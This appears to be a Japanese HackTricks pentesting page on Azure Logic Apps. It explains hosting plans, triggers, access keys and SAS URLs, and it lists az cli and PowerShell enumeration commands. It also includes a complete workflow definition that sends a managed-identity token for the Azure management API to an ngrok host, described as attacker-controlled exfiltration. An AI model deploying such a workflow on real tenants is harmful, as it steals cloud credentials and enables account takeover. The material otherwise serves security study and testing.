# Az - Logic Apps
{{#include ../../../banners/hacktricks-training.md}}
## 基本情報
Azure Logic Appsは、開発者が**さまざまなサービス**、データソース、およびアプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を実行するように設計されています。
Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するための**ビジュアルデザイナー**を提供し、さまざまなサービスに接続して相互作用するのを容易にします。
### ホスティングオプション
いくつかのホスティングオプションがあります:
* **消費型**
- **マルチテナント**:これは共有コンピューティングリソースを提供し、パブリッククラウドで動作し、操作ごとの料金モデルに従います。これは軽量でコスト効果の高いワークロードに最適です。これを「シングルワークフロー」と呼びます。
* **スタンダード**
- **ワークフローサービスプラン**:これは、ネットワーキングのためのVNET統合を持つ専用コンピューティングリソースを提供し、ワークフローサービスプランインスタンスごとに料金が発生します。これは、より高い制御を必要とする要求の厳しいワークロードに適しています。
- **App Service Environment V3**:これは、完全な隔離とスケーラビリティを持つ専用コンピューティングリソースを提供します。また、ネットワーキングのためにVNETと統合され、環境内のApp Serviceインスタンスに基づく料金モデルを使用します。
- **ハイブリッド**:これは、ローカル処理とマルチクラウドサポートのために設計されています。顧客管理のコンピューティングリソースをローカルネットワークアクセスで許可し、Kubernetes Event-Driven Autoscaling (KEDA)を利用します。これは、コンテナアプリ接続環境に依存しています。
## "シングル" ワークフロー / 消費プラン
**ワークフロー**は、特定のプロセスや目的を実行するための自動化されたステップまたはタスクの構造化されたシーケンスです。これは、異なるアクション、条件、および決定がどのように相互作用して望ましい結果を達成するかを定義し、操作を合理化し、手動の労力を削減します。
> [!TIP]
> 消費プランでは、**Logic App自体を必要とせずにシングルワークフローを作成**できます。
### トリガーとアクション
ワークフローのトリガーは、**ワークフローが開始されるべき時**を示します。トリガーはHTTPエンドポイント、スケジュール、またはAzureや外部アプリからの数十の異なるイベントである可能性があります。
各ワークフローには異なる**アクション**があります。これらのアクションは、ワークフローが従うステップです。アクションに応じて、次のような異なるパラメータが設定可能です:
- **接続名**:アクションが相互作用するために使用する接続。
- **認証タイプ**:異なるオプションは、アクセスキー、Microsoft Entra ID、統合サービスプリンシパル認証、およびLogic Apps管理IDです。
- 読み取り専用の観点から、**認証**データは常に興味深いものであり、機密情報を含む可能性があります。
- 書き込みの観点から、**認証**データは常に興味深いものであり、割り当てられた管理IDの権限を使用できる可能性があります。
- ...
アクションには、アクション自体に依存するさまざまな**設定**もあります。最も一般的な設定のいくつかは次のとおりです:
- **再試行ポリシー**:再試行の回数とその間隔を設定します。
- **タイムアウト**:アクションがタイムアウトする前に実行できる最大時間を設定します。
- **実行後**:アクションが実行される前に満たすべき条件を指定します。
- **スキーマ検証**:受信データが事前定義された構造に従っていることを確認します。
- **ネットワーキング**:異なるヘッダーを管理する方法を設定します。
- **セキュア入力/出力**:これにより、実行履歴から入力/出力データが隠されます。
- ...
### 認可ポリシー
これらのワークフローは、Entra IDを使用した**認可ポリシー**をサポートし、有効なアクセストークンを要求することでリクエストベースのトリガーを保護します。このトークンには特定のクレームが含まれている必要があります:
- 発行者 (iss) は、アイデンティティプロバイダーを検証します
- 対象 (aud) は、トークンがLogic Appを対象としていることを確認します
- 主題 (sub) は、呼び出し元を特定します
- JWT ID (JSON Web Token識別子)
- カスタムクレーム
リクエストが受信されると、Logic Appsはこれらのクレームに対してトークンを検証し、構成されたポリシーと一致する場合にのみ実行を許可します。これにより、別のテナントがワークフローをトリガーすることを許可したり、他のソースからのトリガーを拒否したりすることができます。たとえば、https://login.microsoftonline.com/からのトリガーのみを許可することができます。
### アクセスキー
ワークフローは、作成時に**2つのアクセスキー**を生成します。これらのキーは、ワークフローへのリクエストを認証および承認するために使用されます。キーは、リクエストURLに含まれる共有アクセス署名(SAS)トークンを生成するために使用されます。
したがって、HTTPエンドポイントトリガーが作成されると、ワークフローを呼び出す権限を付与する**SAS署名付きのユニークなHTTPエンドポイント**が生成されます。
これらの**キーは再生成可能**であり、これらのトリガー用に新しいSAS URLが作成されますが、**キーの値にはアクセスできません**。
トリガーを呼び出すためのSAS URLの例:
```
https://.logic.azure.com:443/workflows//triggers//paths/invoke?api-version=&sp=%2Ftriggers%2F%2Frun&sv=&sig=
```
### ワークフロー設定とコンポーネント
- **トリガーアクセスオプション**: この設定により、ワークフローをトリガーまたは開始できる人を制限できます。オプションは、Any IP、Only other workflow、Specific IP rangesです。
- **統合アカウント**: ワークフローを統合アカウントにリンクします。
- **高スループット**: 有効にすると、より多くのリクエストを並行して迅速に処理できます。
- **実行履歴保持**: これは、実行履歴を保持する日数を示します。
- **API接続**: これは、ワークフローが持つ異なるAPI接続を示します。これらの接続のそれぞれには異なるプロパティがあり、認証タイプを変更できるAPI接続を編集する可能性があります。
- **履歴**: 古い実行の**履歴**にアクセスし、データを取得するオプションがあります: 設定、出力、パラメータ、およびコード。
- **バージョン**: ワークフローの異なる**バージョン**にアクセスするオプションがあり、コードを確認し、現在のワークフローを古いバージョンに変更できます。
- **マネージドID**: ワークフローに1つのシステムマネージドIDとサーバーユーザーマネージドIDを割り当てることが可能です。
### MIアクセストークンの漏洩
ワークフロー内のHTTPアクションは、外部ウェブにデータを送信するために使用できます。HTTPアクションの**高度なパラメータ**で、**認証タイプ**を**`Managed identity`**として設定し、使用する**割り当てられたマネージドID**(システムまたはユーザー)を選択できます。
さらに、生成されたJWTのオーディエンスを**`Audience`**で指定することが可能で、例えば**`https://management.azure.com/`**を指定することで、生成されたトークンを使用してAzure管理APIにアクセスできます。
> [!WARNING]
> 攻撃者が制御するサーバーにHTTPリクエストを送信するようにアクションを設定すると、ワークフローに割り当てられたマネージドIDの**アクセストークンが漏洩する**可能性があります。
> [!TIP]
> 攻撃者は、他のタイプのアクションを使用して**他のAzureサービスに直接アクセスし**、マネージドIDの権限でアクションを実行することもできます。
これは、HTTPエンドポイントを公開し、HTTPアクションを使用して設定されたURL(この場合はngrok)にアクセストークンを漏洩させるワークフローのコードです:
ワークフローコード
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
## Logic Apps / Standard Plan
### "Single" ワークフローとの違い
Logic Appsは基本的にバックグラウンドでApp Serviceを使用して**複数のワークフローをホストできるロジックアプリをホストします**。これは、ロジックアプリがApp Serviceと"Single"ワークフローのすべての機能を持つことを意味します。
いくつかの主要な機能は次のとおりです:
- **App Service プラン**: StandardプランのLogic AppsはApp Serviceプラン上にホストされているため、次のようなすべてのApp Service機能を使用できます:
- **ネットワーク制限**: アクセス可能な場所を指定します。
- **デプロイメントセンター**: Github、Bitbucket、Azure Repos、External Git、Local Gitなどの外部プラットフォームからデプロイします。
- **FTPアクセス**: FTPを通じてLogic Appのファイルにアクセスできます。
- **ストレージアカウント**: サービスアプリは情報を保存するためにストレージアカウントを使用します。
- **環境変数とアプリ設定**: 環境変数とアプリ設定を構成でき(ストレージアカウントへのアクセスキーなどの機密情報を見つけることができます)、...
- **パラメータ**: パラメータを使用すると、開発、テスト、製品で異なる値を管理できます。これにより、最初にワークフローを設計し、その後で環境固有の設定を簡単に調整できます。
- **専用リソース**: StandardプランのLogic Appsは専用リソースを持っています。
- **複数のワークフロー**: 複数のワークフローを作成できます。
App Servicesに関する詳細は次を確認してください:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### 列挙
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group
# Get info
az logic workflow show --name --resource-group
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group
# Show detailed information about a specific Logic App
az logicapp show --name --resource-group
# List all application settings for a specific Logic App
az logicapp config appsettings list --name --resource-group
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp
# List
Get-AzLogicApp -ResourceGroupName
# Get info
Get-AzLogicApp -ResourceGroupName -Name
# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "" -Name "" -RunName ""
# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "" -Name ""
# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "" -Name ""
# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName "" -TriggerName ""
# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName ""
```
{{#endtab }}
{{#endtabs }}
## インテグレーションアカウント
**インテグレーションアカウント**は、Azure Logic Appsの機能です。インテグレーションアカウントは、EDI、AS2、XMLスキーマ管理などの高度なB2B機能を有効にすることで、エンタープライズレベルの統合を促進します。インテグレーションアカウントは、Logic Appsで使用される以下のアーティファクトを格納するAzureのコンテナです。
* **スキーマ**: インテグレーションアカウント内のメッセージを検証および処理するためのXMLスキーマを管理します。
* **マップ**: インテグレーションワークフロー内でデータ形式を変換するためのXSLTベースの変換を構成します。
* **アセンブリ**: ロジックとデータ処理を効率化するためにインテグレーションアカウントのアセンブリを管理します。
* **証明書**: メッセージの暗号化と署名のための証明書を扱い、安全な通信を確保します。
* **パートナー**: B2B取引のための取引先情報を管理し、シームレスな統合を可能にします。
* **合意**: 取引先とのデータ交換のためのルールと設定を構成します(例:EDI、AS2)。
* **バッチ構成**: メッセージを効率的にグループ化して処理するためのバッチ処理構成を管理します。
* **RosettaNet PIP**: B2B通信を標準化するためのRosettaNetパートナーインターフェースプロセス(PIP)を構成します。
#### 列挙
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Integration account
az logic integration-account list --resource-group
az logic integration-account show --resource-group --name
az logic integration-account list-callback-url --resource-group --integration-account-name
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group \
--integration-account-name
az logic integration-account batch-configuration show \
--resource-group \
--integration-account-name \
--batch-configuration-name
# Map
az logic integration-account map list \
--resource-group \
--integration-account
az logic integration-account map show \
--resource-group \
--integration-account \
--map-name
# Partner
az logic integration-account partner list \
--resource-group \
--integration-account
az logic integration-account partner show \
--resource-group \
--integration-account \
--name
# Session
az logic integration-account session list \
--resource-group \
--integration-account
az logic integration-account session show \
--resource-group \
--integration-account \
--name
# Assembly
# Session
az logic integration-account assembly list \
--resource-group \
--integration-account
az logic integration-account assembly show \
--resource-group \
--integration-account \
--assembly-artifact-name
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp
# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName -Name
# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName -IntegrationAccountName
# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName -IntegrationAccountName -Name
# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName -IntegrationAccountName -Name
# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName -IntegrationAccountName -Name
# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName -IntegrationAccountName -Name
# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName -IntegrationAccountName -Name
# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName -IntegrationAccountName -Name
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name
```
{{#endtab }}
{{#endtabs }}
## 権限昇格
ロジックアプリの権限昇格と同様です:
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}
## ポストエクスプロイト
{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## 永続性
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}